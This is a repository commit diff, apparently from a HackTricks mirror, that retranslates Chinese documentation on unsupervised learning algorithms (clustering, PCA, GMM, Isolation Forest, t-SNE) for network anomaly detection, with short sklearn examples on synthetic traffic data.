maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary

Browse Source
This commit is contained in:
Translator 2025-07-31 10:38:48 +00:00
parent 60148e49e1
commit e3200fc070
29 changed files with 467 additions and 468 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

96
src/AI/AI-Unsupervised-Learning-Algorithms.md
View File

@ -4,7 +4,7 @@
## 无监督学习
无监督学习是一种机器学习类型，其中模型在没有标记响应的数据上进行训练。目标是发现数据中的模式、结构或关系。与监督学习不同，监督学习模型从标记示例中学习，而无监督学习算法则处理未标记的数据。
无监督学习是一种机器学习类型，其中模型在没有标记响应的数据上进行训练。目标是发现数据中的模式、结构或关系。与监督学习不同，监督学习模型从标记示例中学习，无监督学习算法则处理未标记的数据。
无监督学习通常用于聚类、降维和异常检测等任务。它可以帮助发现数据中的隐藏模式，将相似的项目分组，或在保留数据基本特征的同时减少数据的复杂性。
### K均值聚类
@ -21,17 +21,17 @@ K均值是一种基于质心的聚类算法，通过将每个点分配给最近
#### K的选择
聚类的数量（K）是一个超参数，需要在运行算法之前定义。像肘部法则或轮廓系数等技术可以通过评估聚类性能来帮助确定K的适当值：
- **肘部法则**：将每个点到其分配的聚类质心的平方距离之和绘制为K的函数。寻找“肘部”点，在该点处，减少的速率急剧变化，指示适合的聚类数量。
- **肘部法则**：将每个点到其分配的聚类质心的平方距离总和绘制为K的函数。寻找“肘部”点，在该点处，减少的速率急剧变化，指示适合的聚类数量。
- **轮廓系数**：计算不同K值的轮廓系数。较高的轮廓系数表示聚类定义更好。
#### 假设和限制
K均值假设**聚类是球形且大小相等**，这可能不适用于所有数据集。它对质心的初始位置敏感，并且可能收敛到局部最小值。此外，K均值不适合具有不同密度或非球形形状的数据集，以及具有不同尺度的特征。可能需要进行预处理步骤，如归一化或标准化，以确保所有特征对距离计算的贡献相等。
K均值假设**聚类是球形且大小相等**，这可能不适用于所有数据集。它对质心的初始位置敏感，并可能收敛到局部最小值。此外，K均值不适合具有不同密度或非球形形状的数据集，以及具有不同尺度的特征。可能需要进行归一化或标准化等预处理步骤，以确保所有特征对距离计算的贡献相等。
<details>
<summary>示例 -- 聚类网络事件
</summary>
下面我们模拟网络流量数据并使用K均值进行聚类。假设我们有连接持续时间和字节计数等特征的事件。我们创建3个“正常”流量的聚类和1个小聚类，代表攻击模式。然后我们运行K均值，看看它是否能将它们分开。
下面我们模拟网络流量数据并使用K均值进行聚类。假设我们有连接持续时间和字节计数等特征的事件。我们创建3个“正常”流量的聚类和1个小聚类，代表攻击模式。然后我们运行K均值，看看它是否将它们分开。
```python
import numpy as np
from sklearn.cluster import KMeans
@ -65,24 +65,24 @@ print(f" Cluster {idx}: {center}")
层次聚类使用自下而上的（聚合）方法或自上而下的（分裂）方法构建簇的层次结构：
1. **聚合（自下而上）**：从每个数据点作为单独的簇开始，迭代地合并最近的簇，直到只剩下一个簇或满足停止标准。
2. **分裂（自上而下）**：从所有数据点在一个簇中开始，迭代地拆分簇，直到每个数据点都是自己的簇或满足停止标准。
2. **分裂（自上而下）**：从所有数据点在一个簇中开始，迭代地拆分簇，直到每个数据点成为自己的簇或满足停止标准。
聚合聚类需要定义簇间距离和链接标准，以决定合并哪些簇。常见的链接方法包括单链接（两个簇之间最近点的距离）、完全链接（最远点的距离）、平均链接等，距离度量通常是欧几里得距离。链接的选择会影响生成簇的形状。无需预先指定簇的数量 K；可以在所选级别“切割”树状图以获得所需数量的簇。
层次聚类生成一个树状图，显示不同粒度级别的簇之间的关系。可以在所需级别切割树状图以获得特定数量的簇。
> [!TIP]
> *网络安全中的用例：* 层次聚类可以将事件或实体组织成树形结构，以发现关系。例如，在恶意软件分析中，聚合聚类可以根据行为相似性对样本进行分组，揭示恶意软件家族和变种的层次结构。在网络安全中，可以对 IP 流量进行聚类，并使用树状图查看流量的子分组（例如，按协议，然后按行为）。因为不需要提前选择 K，所以在探索未知攻击类别数量的新数据时非常有用。
> *网络安全中的用例：* 层次聚类可以将事件或实体组织成树状结构，以发现关系。例如，在恶意软件分析中，聚合聚类可以根据行为相似性对样本进行分组，揭示恶意软件家族和变种的层次结构。在网络安全中，可以对 IP 流量进行聚类，并使用树状图查看流量的子分组（例如，按协议，然后按行为）。因为不需要提前选择 K，所以在探索未知攻击类别数量的新数据时非常有用。
#### 假设和局限性
#### 假设和限制
层次聚类不假设特定的簇形状，可以捕捉嵌套簇。它对于发现分类法或群体之间的关系（例如，根据家族子组对恶意软件进行分组）非常有用。它是确定性的（没有随机初始化问题）。一个关键优势是树状图，它提供了对数据聚类结构在所有尺度上的洞察——安全分析师可以决定适当的截止点以识别有意义的簇。然而，它在计算上是昂贵的（通常对于简单实现是 $O(n^2)$ 时间或更差），并且对于非常大的数据集不可行。它也是一种贪婪过程——一旦合并或拆分完成，就无法撤销，这可能导致如果早期发生错误而产生次优簇。离群值也可能影响某些链接策略（单链接可能导致“链式”效应，其中簇通过离群值连接）。
层次聚类不假设特定的簇形状，可以捕捉嵌套簇。它对于发现分类法或群体之间的关系（例如，根据家族子组对恶意软件进行分组）非常有用。它是确定性的（没有随机初始化问题）。一个关键优势是树状图，它提供了对数据聚类结构在所有尺度上的洞察——安全分析师可以决定适当的截止点以识别有意义的簇。然而，它在计算上是昂贵的（通常对于简单实现是 $O(n^2)$ 时间或更差），并且对于非常大的数据集不可行。它也是一种贪婪过程——一旦合并或拆分完成，就无法撤销，这可能导致如果早期发生错误而产生次优簇。离群值也可能影响某些链接策略（单链接可能导致“链式”效应，其中簇通过离群值链接）。
<details>
<summary>示例 -- 事件的聚合聚类
</summary>
我们将重用 K-Means 示例中的合成数据（3 个正常簇 + 1 个攻击簇），并应用聚合聚类。然后我们将说明如何获得树状图和簇标签。
我们将重用 K-Means 示例中的合成数据（3 个正常簇 + 1 个攻击簇）并应用聚合聚类。然后我们将说明如何获得树状图和簇标签。
```python
from sklearn.cluster import AgglomerativeClustering
from scipy.cluster.hierarchy import linkage, dendrogram
@ -115,14 +115,14 @@ DBSCAN 识别核心点、边界点和噪声点：
- **边界点**：在 ε 距离内靠近核心点但邻居少于 MinPts 的点。
- **噪声点**：既不是核心点也不是边界点的点。
聚类通过选择一个未访问的核心点开始，将其标记为新聚类，然后递归地添加所有从该点密度可达的点（核心点及其邻居等）。边界点被添加到附近核心的聚类中。在扩展所有可达点后，DBSCAN 移动到另一个未访问的核心以开始新的聚类。未被任何核心到达的点仍然标记为噪声。
聚类通过选择一个未访问的核心点开始，将其标记为新聚类，然后递归地添加所有从其密度可达的点（核心点及其邻居等）。边界点被添加到附近核心的聚类中。在扩展所有可达点后，DBSCAN 移动到另一个未访问的核心以开始新的聚类。未被任何核心到达的点仍然标记为噪声。
> [!TIP]
> *在网络安全中的用例：* DBSCAN 对于网络流量中的异常检测非常有用。例如，正常用户活动可能在特征空间中形成一个或多个密集聚类，而新颖的攻击行为则表现为分散的点，DBSCAN 将其标记为噪声（离群点）。它已被用于聚类网络流量记录，可以检测到端口扫描或拒绝服务流量作为稀疏的点区域。另一个应用是对恶意软件变种进行分组：如果大多数样本按家族聚类，但少数样本不适合任何地方，这些少数样本可能是零日恶意软件。标记噪声的能力意味着安全团队可以专注于调查这些离群点。
#### 假设和限制
**假设与优势：** DBSCAN 不假设球形聚类——它可以找到任意形状的聚类（甚至是链状或相邻聚类）。它根据数据密度自动确定聚类的数量，并能有效地将离群点识别为噪声。这使得它在具有不规则形状和噪声的真实数据中非常强大。它对离群点具有鲁棒性（与 K-Means 不同，后者将其强行归入聚类）。当聚类具有大致均匀的密度时，它表现良好。
**假设与优势：** DBSCAN 不假设球形聚类——它可以找到任意形状的聚类（甚至链状或相邻聚类）。它根据数据密度自动确定聚类的数量，并能有效地将离群点识别为噪声。这使得它在具有不规则形状和噪声的真实数据中非常强大。它对离群点具有鲁棒性（与强制将其纳入聚类的 K-Means 不同）。当聚类具有大致均匀的密度时，它表现良好。
**限制：** DBSCAN 的性能依赖于选择合适的 ε 和 MinPts 值。它可能在具有不同密度的数据上表现不佳——单一的 ε 无法同时适应密集和稀疏的聚类。如果 ε 太小，它会将大多数点标记为噪声；如果太大，聚类可能会错误合并。此外，DBSCAN 在非常大的数据集上可能效率低下（天真地为 $O(n^2)$，尽管空间索引可以有所帮助）。在高维特征空间中，“在 ε 内的距离”概念可能变得不那么有意义（维度诅咒），DBSCAN 可能需要仔细的参数调整，或者可能无法找到直观的聚类。尽管如此，像 HDBSCAN 这样的扩展解决了一些问题（如不同密度）。
@ -150,13 +150,13 @@ num_noise = np.sum(labels == -1)
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
print("Cluster labels for first 10 points:", labels[:10])
```
在这个片段中，我们调整了 `eps` 和 `min_samples` 以适应我们的数据规模（特征单位为 15.0，并且需要 5 个点来形成一个聚类）。DBSCAN 应该找到 2 个聚类（正常流量聚类）并将 5 个注入的异常值标记为噪声。我们输出聚类数量与噪声点的对比以验证这一点。在实际设置中，可以对 ε 进行迭代（使用 k-距离图启发式选择 ε）和 MinPts（通常设置为数据维度 + 1 作为经验法则）以找到稳定的聚类结果。显式标记噪声的能力有助于分离潜在的攻击数据以进行进一步分析。
在这个片段中，我们调整了 `eps` 和 `min_samples` 以适应我们的数据规模（特征单位为 15.0，并且需要 5 个点来形成一个簇）。DBSCAN 应该找到 2 个簇（正常流量簇）并将 5 个注入的异常值标记为噪声。我们输出簇的数量与噪声点的数量以验证这一点。在实际设置中，可以对 ε 进行迭代（使用 k-距离图启发式选择 ε）和 MinPts（通常设置为数据维度 + 1 作为经验法则）以找到稳定的聚类结果。明确标记噪声的能力有助于分离潜在的攻击数据以进行进一步分析。
</details>
### 主成分分析 (PCA)
PCA 是一种 **降维** 技术，它找到一组新的正交轴（主成分），捕捉数据中的最大方差。简单来说，PCA 将数据旋转并投影到一个新的坐标系统中，使得第一个主成分 (PC1) 解释最大的方差，第二个主成分 (PC2) 解释与 PC1 正交的最大方差，依此类推。从数学上讲，PCA 计算数据协方差矩阵的特征向量——这些特征向量是主成分方向，相应的特征值指示每个主成分解释的方差量。它通常用于特征提取、可视化和噪声减少。
PCA 是一种 **降维** 技术，它找到一组新的正交轴（主成分），捕捉数据中的最大方差。简单来说，PCA 将数据旋转并投影到一个新的坐标系中，使得第一个主成分 (PC1) 解释最大的方差，第二个主成分 (PC2) 解释与 PC1 正交的最大方差，依此类推。从数学上讲，PCA 计算数据协方差矩阵的特征向量——这些特征向量是主成分方向，相应的特征值表示每个主成分解释的方差量。它通常用于特征提取、可视化和噪声减少。
请注意，如果数据集维度包含 **显著的线性依赖或相关性**，这将是有用的。
@ -165,12 +165,12 @@ PCA 通过识别数据的主成分来工作，这些主成分是最大方差的
2. **协方差矩阵**：计算标准化数据的协方差矩阵，以了解特征之间的关系。
3. **特征值分解**：对协方差矩阵进行特征值分解，以获得特征值和特征向量。
4. **选择主成分**：按降序排列特征值，并选择与最大特征值对应的前 K 个特征向量。这些特征向量形成新的特征空间。
5. **转换数据**：使用所选的主成分将原始数据投影到新的特征空间。
PCA 广泛用于数据可视化、噪声减少，以及作为其他机器学习算法的预处理步骤。它有助于在保留数据基本结构的同时减少数据的维度。
5. **转换数据**：使用选定的主成分将原始数据投影到新的特征空间。
PCA 广泛用于数据可视化、噪声减少以及作为其他机器学习算法的预处理步骤。它有助于在保留数据基本结构的同时减少数据的维度。
#### 特征值和特征向量
特征值是一个标量，指示其对应特征向量捕获的方差量。特征向量表示特征空间中数据变化最大的方向。
特征值是一个标量，表示其对应特征向量捕获的方差量。特征向量表示特征空间中数据变化最大的方向。
假设 A 是一个方阵，v 是一个非零向量，使得： `A * v = λ * v`
其中：
@ -181,11 +181,11 @@ PCA 广泛用于数据可视化、噪声减少，以及作为其他机器学习
#### PCA 中的特征值和特征向量
让我们用一个例子来解释这一点。假设你有一个包含大量 100x100 像素灰度图像的数据集。每个像素可以视为一个特征，因此每张图像有 10,000 个特征（或每张图像的 10,000 个分量的向量）。如果你想使用 PCA 降低这个数据集的维度，你将遵循以下步骤：
让我们用一个例子来解释这一点。假设你有一个包含大量 100x100 像素灰度图像的数据集。每个像素可以视为一个特征，因此每张图像有 10,000 个特征（或每张图像有 10,000 个分量的向量）。如果你想使用 PCA 降低这个数据集的维度，你将遵循以下步骤：
1. **标准化**：通过从数据集中减去每个特征（像素）的均值来中心化数据。
2. **协方差矩阵**：计算标准化数据的协方差矩阵，捕捉特征（像素）如何共同变化。
- 请注意，两个变量（在这种情况下是像素）之间的协方差指示它们共同变化的程度，因此这里的想法是找出哪些像素倾向于以线性关系一起增加或减少。
- 请注意，两个变量（在这种情况下是像素）之间的协方差表示它们共同变化的程度，因此这里的想法是找出哪些像素倾向于以线性关系一起增加或减少。
- 例如，如果像素 1 和像素 2 倾向于一起增加，它们之间的协方差将是正的。
- 协方差矩阵将是一个 10,000x10,000 的矩阵，其中每个条目表示两个像素之间的协方差。
3. **求解特征值方程**：要解决的特征值方程是 `C * v = λ * v`，其中 C 是协方差矩阵，v 是特征向量，λ 是特征值。可以使用以下方法解决：
@ -194,11 +194,11 @@ PCA 广泛用于数据可视化、噪声减少，以及作为其他机器学习
4. **选择主成分**：按降序排列特征值，并选择与最大特征值对应的前 K 个特征向量。这些特征向量表示数据中最大方差的方向。
> [!TIP]
> *网络安全中的用例：* PCA 在安全中的一个常见用途是异常检测的特征减少。例如，一个具有 40 多个网络指标（如 NSL-KDD 特征）的入侵检测系统可以使用 PCA 将其减少到少数几个组件，以总结数据以进行可视化或输入聚类算法。分析师可能会在前两个主成分的空间中绘制网络流量，以查看攻击是否与正常流量分开。PCA 还可以帮助消除冗余特征（例如，如果它们相关，则发送的字节与接收的字节）以使检测算法更强大和更快。
> *在网络安全中的用例：* PCA 在安全中的一个常见用途是异常检测的特征减少。例如，一个具有 40 多个网络指标（如 NSL-KDD 特征）的入侵检测系统可以使用 PCA 将其减少到少数几个组件，以总结数据以进行可视化或输入聚类算法。分析师可能会在前两个主成分的空间中绘制网络流量，以查看攻击是否与正常流量分开。PCA 还可以帮助消除冗余特征（例如，如果它们相关，则发送的字节与接收的字节）以使检测算法更强大和更快。
#### 假设和局限性
#### 假设和限制
PCA 假设 **方差的主轴是有意义的**——这是一种线性方法，因此它捕捉数据中的线性相关性。它是无监督的，因为它仅使用特征协方差。PCA 的优点包括噪声减少（小方差组件通常对应于噪声）和特征的去相关性。对于中等高维度，它在计算上是高效的，并且通常是其他算法的有用预处理步骤（以减轻维度诅咒）。一个局限性是 PCA 限于线性关系——它不会捕捉复杂的非线性结构（而自编码器或 t-SNE 可能会）。此外，PCA 组件在原始特征方面可能难以解释（它们是原始特征的组合）。在网络安全中，必须谨慎：仅在低方差特征中造成微小变化的攻击可能不会出现在前几个主成分中（因为 PCA 优先考虑方差，而不一定是“有趣性”）。
PCA 假设 **主轴的方差是有意义的**——这是一种线性方法，因此它捕捉数据中的线性相关性。它是无监督的，因为它仅使用特征协方差。PCA 的优点包括噪声减少（小方差组件通常对应于噪声）和特征的去相关性。对于中等高维度，它在计算上是高效的，并且通常是其他算法的有用预处理步骤（以减轻维度诅咒）。一个限制是 PCA 限制于线性关系——它不会捕捉复杂的非线性结构（而自编码器或 t-SNE 可能会）。此外，PCA 组件在原始特征方面可能难以解释（它们是原始特征的组合）。在网络安全中，必须谨慎：仅在低方差特征中造成微小变化的攻击可能不会出现在前几个主成分中（因为 PCA 优先考虑方差，而不一定是“有趣性”）。
<details>
<summary>示例 -- 降低网络数据的维度
@ -224,17 +224,19 @@ print("Original shape:", data_4d.shape, "Reduced shape:", data_2d.shape)
# We can examine a few transformed points
print("First 5 data points in PCA space:\n", data_2d[:5])
```
在这里，我们将早期的正常流量聚类扩展，每个数据点增加了两个额外特征（数据包和错误），这些特征与字节和持续时间相关。然后使用PCA将4个特征压缩为2个主成分。我们打印解释的方差比率，这可能显示，例如，>95%的方差由2个成分捕获（意味着信息损失很小）。输出还显示数据形状从(1500, 4)减少到(1500, 2)。PCA空间中的前几个点作为示例给出。在实践中，可以绘制data_2d以直观检查聚类是否可区分。如果存在异常，可能会看到它作为一个位于PCA空间主聚类之外的点。因此，PCA有助于将复杂数据提炼成可供人类解释或作为其他算法输入的可管理形式。
在这里，我们将早期的正常流量聚类扩展了每个数据点，增加了两个额外的特征（数据包和错误），这些特征与字节和持续时间相关。然后使用PCA将4个特征压缩为2个主成分。我们打印解释的方差比率，这可能显示，例如，>95%的方差由2个成分捕获（意味着信息损失很小）。输出还显示数据形状从(1500, 4)减少到(1500, 2)。PCA空间中的前几个点作为示例给出。在实践中，可以绘制data_2d以直观检查聚类是否可区分。如果存在异常，可能会看到它作为一个位于PCA空间主聚类之外的点。因此，PCA有助于将复杂数据提炼成可供人类解释或作为其他算法输入的可管理形式。
</details>
### 高斯混合模型 (GMM)
高斯混合模型假设数据是由**几个具有未知参数的高斯（正态）分布的混合生成的**。本质上，它是一种概率聚类模型：它试图将每个点软性地分配给K个高斯成分中的一个。每个高斯成分k都有一个均值向量（μ_k）、协方差矩阵（Σ_k）和一个混合权重（π_k），表示该聚类的普遍性。与K-Means进行“硬”分配不同，GMM为每个点提供属于每个聚类的概率。
高斯混合模型假设数据是由**几个具有未知参数的高斯（正态）分布的混合生成的**。本质上，它是一种概率聚类模型：它试图将每个点软性地分配给K个高斯成分之一。每个高斯成分k都有一个均值向量（μ_k）、协方差矩阵（Σ_k）和一个混合权重（π_k），表示该聚类的普遍性。与K-Means进行“硬”分配不同，GMM为每个点提供属于每个聚类的概率。
GMM拟合通常通过期望最大化（EM）算法完成：
- **初始化**：从均值、协方差和混合系数的初始猜测开始（或使用K-Means结果作为起点）。
- **E步（期望）**：给定当前参数，计算每个聚类对每个点的责任：本质上是`r_nk = P(z_k | x_n)`，其中z_k是指示点x_n聚类归属的潜变量。这是使用贝叶斯定理完成的，我们根据当前参数计算每个点属于每个聚类的后验概率。责任的计算如下：
- **E步（期望）**：给定当前参数，计算每个聚类对每个点的责任：本质上是`r_nk = P(z_k | x_n)`，其中z_k是指示点x_n聚类归属的潜在变量。这是使用贝叶斯定理完成的，我们根据当前参数计算每个点属于每个聚类的后验概率。责任的计算如下：
```math
r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)}
```
@ -252,13 +254,13 @@ r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \m
结果是一组高斯分布，共同建模整体数据分布。我们可以使用拟合的GMM通过将每个点分配给具有最高概率的高斯来进行聚类，或者保留概率以表示不确定性。还可以评估新点的似然性，以查看它们是否适合模型（对异常检测有用）。
> [!TIP]
> *网络安全中的用例：* GMM可以通过建模正常数据的分布来用于异常检测：在学习的混合下，任何概率非常低的点都被标记为异常。例如，您可以在合法网络流量特征上训练GMM；一个与任何学习的聚类不相似的攻击连接将具有低似然性。GMM还用于聚类活动，其中聚类可能具有不同的形状——例如，通过行为特征对用户进行分组，其中每个特征的特征可能类似于高斯，但具有自己的方差结构。另一个场景：在钓鱼检测中，合法电子邮件特征可能形成一个高斯聚类，已知的钓鱼形成另一个，而新的钓鱼活动可能显示为单独的高斯或相对于现有混合的低似然点。
> *网络安全中的用例：* GMM可以通过建模正常数据的分布来用于异常检测：在学习的混合下，任何概率非常低的点都被标记为异常。例如，您可以在合法网络流量特征上训练GMM；一个与任何学习的聚类不相似的攻击连接将具有低似然性。GMM还用于聚类活动，其中聚类可能具有不同的形状——例如，通过行为特征对用户进行分组，其中每个特征可能类似于高斯，但具有自己的方差结构。另一个场景：在网络钓鱼检测中，合法电子邮件特征可能形成一个高斯聚类，已知的网络钓鱼形成另一个，而新的网络钓鱼活动可能显示为单独的高斯或相对于现有混合的低似然点。
#### 假设和限制
GMM是K-Means的推广，结合了协方差，因此聚类可以是椭球形的（不仅仅是球形）。如果协方差是完整的，它可以处理不同大小和形状的聚类。当聚类边界模糊时，软聚类是一个优势——例如，在网络安全中，一个事件可能具有多种攻击类型的特征；GMM可以通过概率反映这种不确定性。GMM还提供了数据的概率密度估计，有助于检测离群值（在所有混合成分下似然性低的点）。
缺点是，GMM需要指定成分数量K（尽管可以使用BIC/AIC等标准来选择）。EM有时可能收敛缓慢或到达局部最优，因此初始化很重要（通常多次运行EM）。如果数据实际上并不遵循高斯混合，模型可能不适合。还有一个风险是一个高斯收缩到仅覆盖一个离群值（尽管正则化或最小协方差界限可以缓解这一点）。
缺点是，GMM需要指定成分数量K（尽管可以使用BIC/AIC等标准来选择）。EM有时可能收敛缓慢或达到局部最优，因此初始化很重要（通常多次运行EM）。如果数据实际上不遵循高斯混合，模型可能不适合。还有一个风险是一个高斯收缩到仅覆盖一个离群值（尽管正则化或最小协方差界限可以缓解这一点）。
<details>
<summary>示例 -- 软聚类与异常分数
@ -281,22 +283,22 @@ log_likelihood = gmm.score_samples(sample_attack)
print("Cluster membership probabilities for sample attack:", probs)
print("Log-likelihood of sample attack under GMM:", log_likelihood)
```
在这段代码中，我们使用3个高斯分布训练一个GMM，针对正常流量（假设我们知道3个合法流量的特征）。打印出的均值和协方差描述了这些聚类（例如，一个均值可能在[50,500]附近，对应于一个聚类的中心，等等）。然后，我们测试一个可疑连接[duration=200, bytes=800]。predict_proba给出了该点属于这3个聚类的概率——我们预计这些概率会非常低或高度偏斜，因为[200,800]远离正常聚类。打印出的整体score_samples（对数似然）值非常低，表明该点与模型不匹配，将其标记为异常。在实践中，可以在对数似然（或最大概率）上设置阈值，以决定一个点是否足够不可能被视为恶意。因此，GMM提供了一种原则性的方法来进行异常检测，并且还产生了承认不确定性的软聚类。
在这段代码中，我们使用3个高斯分布训练一个GMM，针对正常流量（假设我们知道3个合法流量的特征）。打印的均值和协方差描述了这些聚类（例如，一个均值可能在[50,500]附近，对应于一个聚类的中心，等等）。然后我们测试一个可疑连接[duration=200, bytes=800]。predict_proba给出了该点属于这3个聚类的概率——我们预计这些概率会非常低或高度偏斜，因为[200,800]远离正常聚类。打印了整体的score_samples（对数似然）；一个非常低的值表明该点与模型不匹配，将其标记为异常。在实践中，可以在对数似然（或最大概率）上设置阈值，以决定一个点是否足够不可能被视为恶意。因此，GMM提供了一种原则性的方法来进行异常检测，并且还产生了承认不确定性的软聚类。
### 隔离森林
**隔离森林**是一种基于随机隔离点思想的集成异常检测算法。其原理是异常点数量少且不同，因此比正常点更容易被隔离。隔离森林构建许多二叉隔离树（随机决策树），随机划分数据。在树的每个节点，选择一个随机特征，并在该特征的最小值和最大值之间选择一个随机分割值。这个分割将数据分为两个分支。树的生长直到每个点被隔离在自己的叶子节点中，或者达到最大树高。
**隔离森林**是一种基于随机隔离点思想的集成异常检测算法。其原理是异常点数量少且不同，因此比正常点更容易被隔离。隔离森林构建许多二叉隔离树（随机决策树），随机划分数据。在树的每个节点，选择一个随机特征，并在该特征的最小值和最大值之间选择一个随机分割值。这个分割将数据分为两个分支。树的生长直到每个点被隔离在自己的叶子中，或者达到最大树高。
通过观察这些随机树中每个点的路径长度来执行异常检测——隔离该点所需的分割次数。直观上，异常（离群点）往往更快被隔离，因为随机分割更可能将离群点（位于稀疏区域）与密集聚类中的正常点分开。隔离森林根据所有树的平均路径长度计算异常分数：平均路径越短→越异常。分数通常归一化到[0,1]，其中1表示非常可能是异常。
通过观察这些随机树中每个点的路径长度来执行异常检测——隔离该点所需的分割次数。直观上，异常（离群点）往往更快被隔离，因为随机分割更可能将离群点（位于稀疏区域）与正常点（位于密集聚类中）分开。隔离森林从所有树的平均路径长度计算异常分数：平均路径越短→越异常。分数通常归一化到[0,1]，其中1表示非常可能是异常。
> [!TIP]
> *网络安全中的用例：* 隔离森林已成功用于入侵检测和欺诈检测。例如，在主要包含正常行为的网络流量日志上训练一个隔离森林；该森林将为奇怪的流量（如使用不常见端口的IP或不寻常的数据包大小模式）生成短路径，标记其进行检查。由于它不需要标记攻击，因此适合检测未知攻击类型。它还可以部署在用户登录数据上，以检测账户接管（异常的登录时间或位置会迅速被隔离）。在一个用例中，隔离森林可能通过监控系统指标并在一组指标（CPU、网络、文件更改）与历史模式看起来非常不同（短隔离路径）时生成警报，从而保护企业。
> *网络安全中的用例：* 隔离森林已成功用于入侵检测和欺诈检测。例如，在主要包含正常行为的网络流量日志上训练一个隔离森林；该森林将为奇怪的流量（如使用不常见端口的IP或不寻常的数据包大小模式）生成短路径，标记其进行检查。因为它不需要标记攻击，所以适合检测未知攻击类型。它还可以部署在用户登录数据上，以检测账户接管（异常的登录时间或地点会迅速被隔离）。在一个用例中，隔离森林可能通过监控系统指标并在一组指标（CPU、网络、文件更改）与历史模式看起来非常不同（短隔离路径）时生成警报，从而保护企业。
#### 假设和局限性
#### 假设和限制
**优点**：隔离森林不需要分布假设；它直接针对隔离。它在高维数据和大数据集上效率高（构建森林的线性复杂度为$O(n\log n)$），因为每棵树仅使用部分特征和分割来隔离点。它通常能很好地处理数值特征，并且比基于距离的方法（可能是$O(n^2)$）更快。它还自动给出异常分数，因此您可以设置警报的阈值（或使用污染参数根据预期的异常比例自动决定截止值）。
**优点**：隔离森林不需要分布假设；它直接针对隔离。它在高维数据和大数据集上效率高（构建森林的线性复杂度为$O(n\log n)$），因为每棵树仅使用部分特征和分割来隔离点。它通常能很好地处理数值特征，并且比基于距离的方法（可能是$O(n^2)$）更快。它还自动给出异常分数，因此可以设置警报的阈值（或使用污染参数根据预期的异常比例自动决定截止点）。
**局限性**：由于其随机特性，结果在不同运行之间可能略有不同（尽管树的数量足够多时，这种差异很小）。如果数据中有很多无关特征，或者异常在任何特征中没有明显区分，隔离可能效果不佳（随机分割可能偶然隔离正常点——然而，平均多棵树可以减轻这一点）。此外，隔离森林通常假设异常是少数（这在网络安全场景中通常是正确的）。
**限制**：由于其随机特性，结果在不同运行之间可能略有不同（尽管树的数量足够多时，这种差异很小）。如果数据有很多无关特征，或者异常在任何特征上没有明显区分，隔离可能效果不佳（随机分割可能偶然隔离正常点——然而，平均多棵树可以减轻这一点）。此外，隔离森林通常假设异常是少数（这在网络安全场景中通常是正确的）。
<details>
<summary>示例 -- 检测网络日志中的离群点
@ -318,11 +320,11 @@ print("Isolation Forest predicted labels (first 20):", preds[:20])
print("Number of anomalies detected:", np.sum(preds == -1))
print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5])
```
在这段代码中，我们用100棵树实例化了`IsolationForest`并设置`contamination=0.15`（这意味着我们预计大约有15%的异常；模型将设置其分数阈值，使得~15%的点被标记）。我们在包含正常和攻击点混合的`X_test_if`上进行拟合（注意：通常你会在训练数据上进行拟合，然后在新数据上使用预测，但这里为了说明我们在同一组上进行拟合和预测以直接观察结果）。
在这段代码中，我们用100棵树实例化了`IsolationForest`并设置`contamination=0.15`（这意味着我们预计大约15%的异常；模型将设置其分数阈值，使得~15%的点被标记）。我们在包含正常和攻击点混合的`X_test_if`上进行拟合（注意：通常你会在训练数据上进行拟合，然后在新数据上使用预测，但这里为了说明我们在同一组上进行拟合和预测以直接观察结果）。
输出显示了前20个点的预测标签（其中-1表示异常）。我们还打印了总共检测到多少个异常以及一些示例异常分数。我们预计大约120个点中有18个会被标记为-1（因为污染率为15%）。如果我们的20个攻击样本确实是最偏离的，大多数应该出现在这些-1预测中。异常分数（Isolation Forest的决策函数）对于正常点较高，对于异常点较低（更负）——我们打印了一些值以查看分离情况。在实践中，人们可能会按分数对数据进行排序，以查看顶级异常并进行调查。因此，Isolation Forest提供了一种有效的方法来筛选大量未标记的安全数据，并挑选出最不规则的实例以供人工分析或进一步的自动审查。
### t-SNE (t-分布随机邻域嵌入)
### t-SNE (t-分布随机邻居嵌入)
**t-SNE**是一种非线性降维技术，专门用于在2或3维中可视化高维数据。它将数据点之间的相似性转换为联合概率分布，并试图在低维投影中保留局部邻域的结构。简单来说，t-SNE将点放置在（例如）2D中，使得相似的点（在原始空间中）最终靠近在一起，而不相似的点则以高概率远离。
@ -341,13 +343,13 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
t-SNE非常适合视觉发现模式。它可以揭示其他线性方法（如PCA）可能无法发现的聚类、子聚类和异常值。它已在网络安全研究中用于可视化复杂数据，如恶意软件行为特征或网络流量模式。由于它保留了局部结构，因此在显示自然分组方面表现良好。
然而，t-SNE的计算负担较重（大约为$O(n^2)$），因此对于非常大的数据集可能需要抽样。它还有超参数（困惑度、学习率、迭代次数），这些参数可能会影响输出——例如，不同的困惑度值可能会在不同的尺度上揭示聚类。t-SNE图有时可能被误解——图中的距离在全局上并不直接有意义（它关注局部邻域，有时聚类可能看起来人为地分开）。此外，t-SNE主要用于可视化；它不提供直接的方法来投影新数据点而无需重新计算，并且不适合用作预测建模的预处理（UMAP是一个解决这些问题并具有更快速度的替代方案）。
然而，t-SNE的计算负担较重（大约为$O(n^2)$），因此对于非常大的数据集可能需要抽样。它还有超参数（困惑度、学习率、迭代次数），这些参数可能会影响输出——例如，不同的困惑度值可能会在不同的尺度上揭示聚类。t-SNE图有时可能被误解——图中的距离在全局上并不直接有意义（它关注局部邻域，有时聚类可能看起来人为地分开）。此外，t-SNE主要用于可视化；它并不提供直接的方法来投影新数据点而无需重新计算，并且不适合用作预测建模的预处理（UMAP是一个解决这些问题并具有更快速度的替代方案）。
<details>
<summary>示例 -- 可视化网络连接
</summary>
我们将使用t-SNE将多特征数据集降维到2D。为了说明，我们取之前的4D数据（其中有3个正常流量的自然聚类）并添加一些异常点。然后我们运行t-SNE并（概念上）可视化结果。
